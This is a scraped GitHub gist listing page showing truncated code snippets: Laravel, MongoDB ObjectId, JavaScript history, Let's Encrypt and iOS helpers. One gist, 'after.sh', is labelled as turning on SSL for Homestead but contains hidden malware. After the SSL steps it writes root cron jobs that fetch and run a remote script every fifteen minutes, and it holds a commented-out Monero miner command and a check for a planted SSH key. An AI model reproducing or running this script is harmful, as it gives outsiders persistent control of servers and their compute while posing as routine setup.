Skip to content

Instantly share code, notes, and snippets.

View lokielse's full-sized avatar
🏠
Working from home

lokielse lokielse

🏠
Working from home
View GitHub Profile
@lokielse
lokielse / _ide_helper_redis.php
Created April 26, 2018 17:51
Laravel IDE helper for Redis
<?php
// source version: https://github.com/JetBrains/phpstorm-stubs/blob/master/redis/Redis.phpdis/Redis.php
// phpdoc version: https://github.com/nrk/predis/blob/v1.1/src/ClientInterface.php
// save this file to your project root
namespace {
exit("This file should not be included, only analyzed by your IDE");
/**
@lokielse
lokielse / mongodb-objectid.js
Created March 9, 2018 13:57 — forked from chrisveness/mongodb-objectid.js
Generates a MongoDB-style ObjectId in Node.js
/**
* Generates a MongoDB-style ObjectId in Node.js. Uses nanosecond timestamp in place of counter;
* should be impossible for same process to generate multiple objectId in same nanosecond? (clock
* drift can result in an *extremely* remote possibility of id conflicts).
*
* @returns {string} Id in same format as MongoDB ObjectId.
*/
function objectId() {
const os = require('os');
const crypto = require('crypto');
@lokielse
lokielse / generate_id_hex.php
Created March 9, 2018 13:57
Generate an ID string that form 24 hexidecimal characters, just like a MongoId string.
<?php
/**
* File: generate_id_hex.php
* Author: Alvan
* Modifier: Alvan
* Modified: 2014-03-28
*/
error_reporting(E_ALL);
ini_set('display_errors', 'on');
date_default_timezone_set('UTC');
@lokielse
lokielse / back_forward.js
Created October 8, 2017 15:49 — forked from sstephenson/back_forward.js
How to detect whether a hash change came from the Back or Forward button
var detectBackOrForward = function(onBack, onForward) {
hashHistory = [window.location.hash];
historyLength = window.history.length;
return function() {
var hash = window.location.hash, length = window.history.length;
if (hashHistory.length && historyLength == length) {
if (hashHistory[hashHistory.length - 2] == hash) {
hashHistory = hashHistory.slice(0, -1);
onBack();
The MIT License (MIT)
Copyright (c) 2013 Jamar Parris
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE S
@lokielse
lokielse / after.sh
Created December 3, 2016 08:44 — forked from cluppi/after.sh
Turning SSL on for Homestead
#!/bin/sh
# Config for SSL.
echo "--- Making SSL Directory ---"
mkdir /etc/nginx/ssl
echo "--- Copying $i SSL crt and key ---"
openssl req -nodes -new -x509 -keyout /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.crt -subj "/C=US/ST=NY/L=NYC/O=Dis/CN=www.example.com"
echo "--- Turning SSL on in nginx.conf. ---"
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root
# ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
@lokielse
lokielse / letsencrypt.md
Created January 6, 2016 05:57 — forked from xrstf/letsencrypt.md
Let's Encrypt on Ubuntu 14.04, nginx with webroot auth

Let's Encrypt on Ubuntu 14.04, nginx with webroot auth

This document details how I setup LE on my server. Firstly, install the client as described on http://letsencrypt.readthedocs.org/en/latest/using.html and make sure you can execute it. I put it in /root/letsencrypt.

As it is not possible to change the ports used for the standalone authenticator and I already have a nginx running on port 80/443, I opted to use the webroot method for each of my domains (note that LE does not issue wildcard certificates by design, so you probably want to get a cert for www.example.com and example.com).

Configuration

For this, I placed config files into etc/letsencrypt/configs, named after <domain>.conf. The files are simple:

@lokielse
lokielse / 2016_01_01_200328_migrate_to_utf8mb4.php
Created January 2, 2016 07:49
Laravel migrate mysql database to utfmb4
<?php
use Illuminate\Database\Migrations\Migration;
class MigrateToUtf8mb4 extends Migration
{
public function up()
{
DB::statement('SET FOREIGN_KEY_CHECKS=0;');
//http://stackoverflow.com/a/24166645
//
#import <UIKit/UIKit.h>
typedef void (^UITableViewCellAutoLayoutRenderBlock)(void);
@interface UITableViewCell (AutoLayoutDynamicHeightCalculation)
/**
* Grab an instance of the receiving type to use in order to calculate AutoLayout contraint driven dynamic height. The method pulls the cell from a nib file and moves any Interface Builder defined contrainsts to the content view.
*